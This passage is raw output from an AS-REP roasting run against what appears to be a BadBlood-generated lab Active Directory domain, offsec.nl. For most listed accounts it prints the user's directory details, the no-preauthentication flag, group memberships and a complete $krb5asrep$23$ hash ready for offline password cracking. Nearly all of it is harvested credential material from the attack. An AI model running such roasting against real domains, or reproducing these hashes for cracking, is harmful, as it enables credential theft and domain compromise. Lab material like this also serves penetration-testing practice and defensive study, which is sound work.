CN=KA-amo-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=WA-mar-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=JO-1.9778E11-admingroup1,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=SU-youlookyo-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=LA-art-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=LE-bessyague-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:23 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$GERRY_WORKMAN@offsec.nl:5b65e57f5478c2a06768af9afc42aa78$a402eb69a0c5d386c535653378267eadd4ed211f45d1dc695eece35dc88bebe6f5153c2f28236de7c25bbab9020164916b749e5dc8a10739ecd348bfcbf011fb33b1f28991343edf88c73d2c0342e192a4045fc5aac523f53be3a325cb3c98ff6dfab2178f510d5caaef44938de2fb833742375a6e832304b111b6e60bd5649d3f8f89948f6529a100dcd65c6faf2ce93c55902e02ae2146c0122d09714af98c13bc52bcdca8e174fc76f6bb6e547c7bf0c64b6f3d11d0bce629823199e95af51154c78596cc7f99810610a3d002fb09e96e2d73c4994da230715683d0f1d6d5606f2b690ff6 Searching for ASREPRoast Users - Details for User 'ALISON_BROOKS': sAMAccountName : ALISON_BROOKS userPrincipalName : ALISON_BROOKS@offsec.nl distinguishedName : CN=ALISON_BROOKS,OU=ITS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2754 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:05:24 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$ALISON_BROOKS@offsec.nl:42b709253741f6855a5a7ea2f58acc2d$ae8c3ee63df6e51b90aa93bb4948fdb5ff8d0057953948e77833cb4b634336e6472308e4b97e0157b76e5cd306dac03af156274740a8310c578cbe63d23031309ee30b4ac2deb80d7c07b69ffd86f0feefa149a118434173fdf53687964382934ac59a49758252be1841c6ab2fec297de27e85a2cda3a63dff96e5128e34e16253bce2ed8c3ee20c059ec1a7fc5bb47c1cbe3428e4861247a2f99995969dcf07aba176f160dec50d53119577759e13c503a156c45e548f33abcdeac05b46bc3e2404d72238cad3b9211d88a049527d67faecd91207a413c42fa3605923967846e10f755e34cd Searching for ASREPRoast Users - Details for User 'LAMONT_FULLER': sAMAccountName : LAMONT_FULLER userPrincipalName : LAMONT_FULLER@offsec.nl distinguishedName : CN=LAMONT_FULLER,OU=TST,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2766 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=RO-naujsolra-admingroup1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=DA-kar-distlist1,OU=ServiceAccounts,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=SO-pod-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=KE-lan-distlist1,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=ME-289-admingroup1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=DE-err-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=ED-Zyanyanoc-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl CN=EL-lui-distlist1,OU=SEC,OU=People,DC=offsec,DC=nl CN=SU-aam-distlist1,OU=Devices,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=PA-imagoodbo-distlist1,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:27 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$LAMONT_FULLER@offsec.nl:fb87389652015fbec7df376a9e2edf38$a0575c39c76dfd59ed1a469fb60456e16a35e207063c0069c546288579a53f16f51469046ad99284124b71bbba8ac9604dfaa33982753b9a6b8b321adc4d8f00f35476f4ed537b3c7060b32c48090b475f5feb45b20afd543978d73b6c474efea3660a9f9bf1bed2c9e5f4d83ea1c9987077a5e020260342800dc15b5c7cad086665b6d326c370f91b39f45c416d028ca1fa2b6fc5305fce766fe541d818c5506f5f1db785835f53b82c6710e88b2be6de47c64da8a61d4b623a39d80d8dc2b8250488c57eebe1fc3531e4d5795f8b778ef24e691608cbe77ab0d186e6fc9c1941b58576010f Searching for ASREPRoast Users - Details for User 'EVAN_ONEAL': sAMAccountName : EVAN_ONEAL userPrincipalName : EVAN_ONEAL@offsec.nl distinguishedName : CN=EVAN_ONEAL,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2779 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TA-artu32165-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=SO-al6-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=DA-154-admingroup1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=SC-lidia1214-distlist1,OU=ServiceAccounts,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=RO-sexpistol-distlist1,OU=Devices,OU=HRE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:30 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$EVAN_ONEAL@offsec.nl:ae950679523ed17a65836df7bac5907e$7c742ac80d78635c21ee373319d455734714b5119f129e0494bbe6ed8ed29843a47a5f5778c237c9355f898fc37a21b899bc58f0e5252ecd6e723adedbbf7ee8fbf24267fceed02049f87d1bba51bd5fcff33d2c14794487b278194011049b4f7d7704d31c8f2cb89f792126c185551d01d0e16474654005e00a17cc290d904554b036783b7af551103c89911fa3b1803d73f887485ed65a95486f825b05e1ed2e76608f597833eb74fad40d2e951ab3a5a03906c14230f796d3d031ea7fea395c06fe8f9d8d25d89d35ab4290e4daf2c5bb2db4a2557b7ebbb9ff01ea98337b606906b4ab57 Searching for ASREPRoast Users - Details for User 'JEREMIAH_HIGGINS': sAMAccountName : JEREMIAH_HIGGINS userPrincipalName : JEREMIAH_HIGGINS@offsec.nl distinguishedName : CN=JEREMIAH_HIGGINS,OU=BDE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2831 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DU-131-admingroup1,OU=Groups,OU=TST,OU=Stage,DC=offsec,DC=nl CN=NO-Bnj-distlist1,OU=Groups,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=RO-629-distlist1,OU=Deprovisioned,OU=People,DC=offsec,DC=nl CN=RO-27lindavi-distlist1,OU=Devices,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=PR-ordnajela-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=EL-308-distlist1,OU=Groups,OU=FIN,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:41 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$JEREMIAH_HIGGINS@offsec.nl:fa586a9425182d53dcf665ed63409833$3f3ab7041fe024727f07db3bfc06864314167f2250cef07a67427cc482c737dd466b8f22a9d4e5c07ae1dd8a5d8c20f6c69881e76b548ffc48104f6f9e6d09c5f36d989187c8f1de23bac536424bec85766d5185cdf85ee156fefb0a4e45c945e1038010c151290a581ddfb7c74ccce4169e02bfafbe2bf59fc1c6848a906507798834fdbc9ded9ead16df583cb642731914810a4e33f943f5ef6cbda6d165ad355c882ca0e8d3a6ec8da4c5e75aac6797dcbc8b136a867e15e755233bf2eee94e7d830535d65bb4827797a526ad16e06b908070156f0c6f3ca0e71f7911957662963d143cd2 Searching for ASREPRoast Users - Details for User 'HERMAN_MCCULLOUGH': sAMAccountName : HERMAN_MCCULLOUGH userPrincipalName : HERMAN_MCCULLOUGH@offsec.nl distinguishedName : CN=HERMAN_MCCULLOUGH,OU=Test,OU=SEC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2930 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=WA-1.4-distlist1,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=EM-JEN-distlist1,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=LA-art-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=LE-tulipa_28-distlist1,OU=ServiceAccounts,OU=TST,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:04 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$HERMAN_MCCULLOUGH@offsec.nl:7bb3bf63e4f367d6f1b5a09bee2f076b$1dfcc82f1dc08db27bd8fff851da7a2a2fbdaeb4ef368a484181034eec4da08cfbe6ccfb25f42311840aee90030c5a1a0c3ae5292a870c019022c8f143e4a9e456a21ae57baf9fe46a64f7e30390d216322128ac0720202f214138a69eaa522acb6cbf4aa3fc767eb9e59d575b3fef99bf50fcca8c87743154f9bdbe55080ba4ae04cfb8e3ed1d8b3bdbeaaac4f8e3318b4f2ad0903d8ce4de0ef66a613271c1cc7cbbd221c0ccd346f3514174be7a1c5670798e5356f3eb2ecdd112d1f9d6eb5437918e3d05e70479f05857778d7f5decc3eea9c0e1c1eda089d18492cf0040e07ee103278b Searching for ASREPRoast Users - Details for User 'CLAUDIO_MIDDLETON': sAMAccountName : CLAUDIO_MIDDLETON userPrincipalName : CLAUDIO_MIDDLETON@offsec.nl distinguishedName : CN=CLAUDIO_MIDDLETON,OU=SEC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2962 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=GO-109-admingroup1,OU=TST,OU=People,DC=offsec,DC=nl CN=RO-naujsolra-admingroup1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=EL-joseangel-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=LO-308-distlist1,OU=Groups,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=DU-629651164-distlist1,OU=T0-Devices,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=CH-123456lim-admingroup1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=ME-289-admingroup1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=ST-maz-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=MA-carpedium-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:12 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$CLAUDIO_MIDDLETON@offsec.nl:b14baa5ec6648aff24cbc8e6dd552652$c8b89883415e1d218e130e5680c3c0d0a16728669331b7c6a97f5149c6d2d8f78cc9200dca38c995bc150a65ec790e215e24c776459b062d1908944d3d91ba29b13194717e0e2bfee153a0ad9842eaa733eba2fad9fc07a43a9d9256569897a0741504fbfcf43ee1f6b59075fa401af0cd4c5412761afe2a00a07e7224f639645a7d38fa6c7557cc2b2f87a488f3aabd60eb0e505b250034c5ad9bf942dec55e6a83dcf69427f1bc4e91ab2a7cd1d17b9ac9f3986f10d63b9043238a7bb9b7685a105654269db13047c17c41f9e8bba08e986f51a5c6f89ffef30e627ff4a18b4f8c21952ad0 Searching for ASREPRoast Users - Details for User 'TAYLOR_LOTT': sAMAccountName : TAYLOR_LOTT userPrincipalName : TAYLOR_LOTT@offsec.nl distinguishedName : CN=TAYLOR_LOTT,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2963 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JU-290-distlist1,OU=Devices,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=VI-PRIMOALEX-admingroup1,OU=Groups,OU=AWS,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:12 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$TAYLOR_LOTT@offsec.nl:b70353892c2e4379fe89eb51c35f650d$22aa6e25c8c3b933a639a0b4a60d63536acaa89e0da121750bbf8ccb030b6219ca5db271d4cc37de5f4166a854956cbd9f25b0a18b2fe95fa83c6b3afc683c22cdb27343307b111fc364856f99bdf1c1d14dc37dfaab8ecc21f12cba1d5a798cf22e0c5e56925542912fa734dddc2b8565ab6c4e98b94a74984bf9e3c134d4134179cdf382190371f029a58ecd56de64b795be21af14d843d7abc4b22a4bf0248007621fb55c5362d64dbfa6e5142d44b50e143a3b974c71018c7d1e2e6a576cdcf9c2730982840aaa9265e4cdea398fa63c5f358eb6cf090d7f0f5eaf102f3b5df2abfd8934 Searching for ASREPRoast Users - Details for User 'JAIME_COMPTON': sAMAccountName : JAIME_COMPTON userPrincipalName : JAIME_COMPTON@offsec.nl distinguishedName : CN=JAIME_COMPTON,OU=Groups,OU=FSR,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2966 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TH-ambulance-admingroup1,OU=GOO,OU=People,DC=offsec,DC=nl CN=DE-170-admingroup1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=PR-aym-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=AL-lascivete-admingroup1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:13 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$JAIME_COMPTON@offsec.nl:b309440c3753d40eec19cc2fc5d2751f$638e46c05d344f76498d5f912ac0472c0f73f71b0f4fb4af88bfb68ee4c70673e6798b738dd28d356453e8734e691b05494992db5f68928f8972e53b57c5f1bb832f10874ace0bc5b8c24c6a996dc82d392d26136b2697826964f4a696f5b4e49a44dbb11d909d94122071eb18618ee3bb33ba5c7cbe1efff1045da6fa4fa9402242cabf15520297143f75c8a949e4fda264796b40b56aa87a94e53d0b817a4f5b96a1f3bc3434beb857b8d07834d12bdc76e784ad3300e1b50ac2319bd52f3f86c191612d752ce8c783a2ddc0d0e64a850e782eded656a1fb7eb87f0e29d05982b2ca33aada Searching for ASREPRoast Users - Details for User 'GARTH_BLACK': sAMAccountName : GARTH_BLACK userPrincipalName : GARTH_BLACK@offsec.nl distinguishedName : CN=GARTH_BLACK,OU=ServiceAccounts,OU=ITS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2968 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:06:13 AM lastLogonTimestamp : 2/10/2022 1:59:47 PM $krb5asrep$23$GARTH_BLACK@offsec.nl:660cd2ff1c03615312b845f5d08ee856$f96b8705c3fbda1016dd20c28b4f42e0cbf6e431a595157cd06e1b08ba48c9413e9a662a17a490e8290eefa476c1e8728a54f16d343f79d56abb6a04e6591434374d70af20077e5923b9d0b4dea40ad0609f2251b44e5d9461750a0461247be9b88a41cb3a863c6998127abab1781d4c687389f2a7f172d426a0b2c0596051b2586424c614e63be5d98c1400b86e4b8b96bb4c282263a94c8abb89754cd3415acbbe9caf5474f00ed11bc4e7e657b25e0ae02f2cff72f8feab6780c71f85e3dc1e285f09be800281afa5561a8d57702bda37a0c3cecf43eb0a6955ec951b043809aa4132dcaf Searching for ASREPRoast Users - Details for User 'CHRISTIE_WALLS': sAMAccountName : CHRISTIE_WALLS userPrincipalName : CHRISTIE_WALLS@offsec.nl distinguishedName : CN=CHRISTIE_WALLS,OU=Test,OU=SEC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2970 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JU-chilangab-distlist1,OU=Devices,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=AU-pat-distlist1,OU=Test,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=IN-isa-admingroup1,OU=ServiceAccounts,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=JE-ger-admingroup1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=RE-rakaastan-distlist1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=TR-1.11111E1-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=LE-tulipa_28-distlist1,OU=ServiceAccounts,OU=TST,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:14 AM lastLogonTimestamp : 2/10/2022 1:59:48 PM $krb5asrep$23$CHRISTIE_WALLS@offsec.nl:002b04f140189d3dc87fc07d535c616b$63020e900031a34f20a436f76e775bb359b4959b6b7e1cae68e08f05474645f0b3c30336153797ba9ace1808f50ca8ffe5975731d74768d4ea49ee2c988913f5526d957e5299cb9e2e69845a9b0be5c22715a3cd0bd13daf45f3bc1db0cf81bc206cc10f492ffa22432f201f5f1af8525354394561f8acf41b5b346d14b4a9dcef9535e90c10fa13ae11fb53e18ca672e267e8d3b2c0549d6dba6d9a15dd457ca74070d93353fec9e78331006b6bd3455ae3a3f06d2c44e0d642273317c704d458f59274dfa2db80fe5ed33d3caa3028b3ebdaab853abf2ae8858fbf25a65f0860c7c4b604d7 Searching for ASREPRoast Users - Details for User 'KATRINA_HOLT': sAMAccountName : KATRINA_HOLT userPrincipalName : KATRINA_HOLT@offsec.nl distinguishedName : CN=KATRINA_HOLT,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3000 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JA-757-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=JE-road205de-distlist1,OU=Devices,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=MI-703-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=TA-ilovepink-admingroup1,OU=Test,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:21 AM lastLogonTimestamp : 2/10/2022 1:59:48 PM $krb5asrep$23$KATRINA_HOLT@offsec.nl:a7e4a3103e066db3013331e77a9e7433$2b190b7ce7f21e05fce79f2306e38fbef2730912b019846c2840040326244f19c2050e65961cfdd6a0e1972b8ed2a15511ebbc5915ee7e233fe4b9e443853d771414246aef74529bb699ef1e4eb6aaa3773ce046b822f53600ddf6f22043098a8e7690b0bed7b1700e5d0d61ab2f91c583ce0f38408fa4a64dc1afad5e9da8d73078bc589edb1202e523c91c0502d083682b2fde7c6563cf7c93352627f6cfcaac906c6d1476308483c6b0bc3b74523ddc484723c87c25413ded330f4a424d909b77209a2afaa5a65b96e95c3ae80623e9409951208bc1cbcc429e1fae2402da783be094aacb Searching for ASREPRoast Users - Details for User 'LILIAN_HALL': sAMAccountName : LILIAN_HALL userPrincipalName : LILIAN_HALL@offsec.nl distinguishedName : CN=LILIAN_HALL,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3023 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DI-hol-distlist1,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=RU-launion15-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl CN=KA-212-distlist1,OU=People,DC=offsec,DC=nl CN=WI-844-distlist1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=OP-2112_andy-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=MO-mahalkita-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=MA-VIL-distlist1,OU=T1-Servers,OU=Tier 1,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:26 AM lastLogonTimestamp : 2/10/2022 1:59:48 PM $krb5asrep$23$LILIAN_HALL@offsec.nl:2d48719581f9f3aeaf2c797739a6f6c9$de8229027842d7e2ed87510409ae52da61a6b514f6dc8037131cd5673305dfa73d25e4f47efc23c8dbf09c9c0fe6585591e38de7c1644c7b4bf7b7b2ca7a39d367768f3721844898930063888c063f7a31a7b7b73955d17d1806e4a6207b8ac7f0e109fb8aba7b41015115cb13de3c4950711a0d1dabbb38ca46a1173536703580ddcd529219537520565dd9fbc18235697aeaf3ed55ff6d7745e13a7697bff8a2aba9eb4a2700744dcf132595199985a52c095b0b7fdc9fb7a1764bd563fd00f4864765ddaa60128d4055a0ef5cb9a346d09379bc699d26193b398abeb55031325152f6653d Searching for ASREPRoast Users - Details for User 'ZACHERY_RIGGS': sAMAccountName : ZACHERY_RIGGS userPrincipalName : ZACHERY_RIGGS@offsec.nl distinguishedName : CN=ZACHERY_RIGGS,OU=ServiceAccounts,OU=AWS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3048 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=OL-coo-distlist1,OU=Devices,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=RO-conquet78-admingroup1,OU=Test,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=JU-estilista-distlist1,OU=Groups,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=EL-piensoent-distlist1,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=JO-Inmaculad-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=MA-con-admingroup1,OU=Devices,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=NO-soc-distlist1,OU=Test,OU=AWS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:32 AM lastLogonTimestamp : 2/10/2022 1:59:48 PM Searching for ASREPRoast Users - Details for User 'IAN_SIMMONS': sAMAccountName : IAN_SIMMONS userPrincipalName : IAN_SIMMONS@offsec.nl distinguishedName : CN=IAN_SIMMONS,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3065 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:06:36 AM lastLogonTimestamp : 2/10/2022 1:59:48 PM $krb5asrep$23$IAN_SIMMONS@offsec.nl:e57ae50b8f8283f900428b142782f968$dbceb946dd19922b0b4c4179631701f963f950cc28d4caddcbba6a77590dfcfaef40e06d561362e755b70f1bc330274669a38eb9484ce26cec62021e28cd2540896852afd310136e3553d9fbc8adf4fec321b548c36361348fbcaa2c0f5cd064c33df68fcb68f6073257f38c6938bab3301c09b937bb1254d24013ccfb0ccaa5aa17f7a3c7232bf19f956b01635a37ca923d8de34510cc1f65b831cbb984ead40aaecfb0d54ad7cb782779774218763691a55406d3d4b54c5bd3901e47a291a81ce485848e64f26109e84f16140f91d4f9b6641725b09fae57835b8601f3b9a5344698ea1d8b Searching for ASREPRoast Users - Details for User 'CAREY_SCOTT': sAMAccountName : CAREY_SCOTT userPrincipalName : CAREY_SCOTT@offsec.nl distinguishedName : CN=CAREY_SCOTT,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3081 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:06:39 AM lastLogonTimestamp : 2/10/2022 1:59:48 PM $krb5asrep$23$CAREY_SCOTT@offsec.nl:20c8a7b997a3eb1c2e804c10a4c9e62b$47d07efa1769f9cca41a5ca0834b5df3cd67105b5375e034df06952a830d962a9b76f0ffd2bb8d79f0d44cb8d5211869f54468d1a8082c0cc4e9b39458e59858c4731cf78aa000a528de1f483f28a58b56ca98160853ee03bb469ca9420e70b30162962b247361bfae49eb54c827606c0a8eed73ffeff6df10a404222ee09ed7fdbb3b530c26f2224cf3efea4d4f5eaf09fa3e0a7811071bbae49e4ec791b0e3bccd702ce3990ab37abebe3c1dde67f6d6e31a326aa9a228c38615deea8f6eb21011fb0708782581cbb935923670640889b09aa7a8ee07f39297b62357b4d9c416b6d16e00e9 Searching for ASREPRoast Users - Details for User '1024545427SA': sAMAccountName : 1024545427SA userPrincipalName : 1024545427SA@offsec.nl distinguishedName : CN=1024545427SA,OU=Test,OU=BDE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3091 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=RO-291-admingroup1,OU=Quarantine,DC=offsec,DC=nl CN=IS-teamoctav-distlist1,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=JE-ger-admingroup1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=DE-170-admingroup1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=GA-9fe-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=NA-flaquichi-admingroup1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=DU-cha-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=RO-260-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:42 AM lastLogonTimestamp : 2/10/2022 1:59:49 PM $krb5asrep$23$1024545427SA@offsec.nl:bb4c6b4acd48e22ed3852ad93c726055$28e1a70fb8dc89a1fea42e6bdd21d9fe34e222faa5fb7ba2c73d82b4c745c59de7112a96452c198c3dce23f5f1aca16bc3dc9f78e3c21a2485a6d63438b011174d305ea5d94a335c4e2175725e6a4605d18b1554994971e0e38a6617e72acfdc8df7d6c2df9a5b8c20d466be5999a47e830f3ac5e0deabf5360ed3910474c2855117fe22349f1cf8a624d5efeda790c7fc4dbbca9d4ab91a36de804712fcb7ce9a7d6466f485c7423393c9bdc36abf24d6a7bd0c8a73601690ee1ca622625360958782995060361f7288b4f5d7c429880f5de591c7b1423117375c3e1c689450cda340cb9f51 Searching for ASREPRoast Users - Details for User 'FLORENCE_STONE': sAMAccountName : FLORENCE_STONE userPrincipalName : FLORENCE_STONE@offsec.nl distinguishedName : CN=FLORENCE_STONE,OU=Groups,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3108 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SH-a3706723z-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=TA-primerave-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=MY-laf-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:46 AM lastLogonTimestamp : 2/10/2022 1:59:49 PM $krb5asrep$23$FLORENCE_STONE@offsec.nl:d977115fb547e6afcc8afd2abfd501a8$f8fab1a197a6e95697c47aa81289d5436ecf094782a2655cb2b15fca39eeafcd735a57eb45facf5da93ba1722ecafb01900f33822b1e6cdd46d5e2322a5fce544509fb2df0c64fa0e2f3f7258f83bc192a5a422acc8b0f1f8e15951125642907a13ccf17ee5b04a117ae9768cb7e36d7b8d627c8b198b1458b4ffaead16faa75b85a249bfdb15e2be64db435263a77c572cf825268ed1d9430c936704f51e4b594527139b71ecfa65e117c1d36f1daa9b53c77bb41b78b35e3fe44728ceddf88bbbf5672550aacc136526805f1b3e6c0f91d9be2d16d30bb7b80ea2e551c69d32d26406e196a Searching for ASREPRoast Users - Details for User 'BRADLEY_PRESTON': sAMAccountName : BRADLEY_PRESTON userPrincipalName : BRADLEY_PRESTON@offsec.nl distinguishedName : CN=BRADLEY_PRESTON,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3122 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=GE-WW9-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=JO-173173173-admingroup1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=EL-Dul-admingroup1,OU=Groups,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=IS-teamoctav-distlist1,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=KA-valentino-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 1,DC=offsec,DC=nl 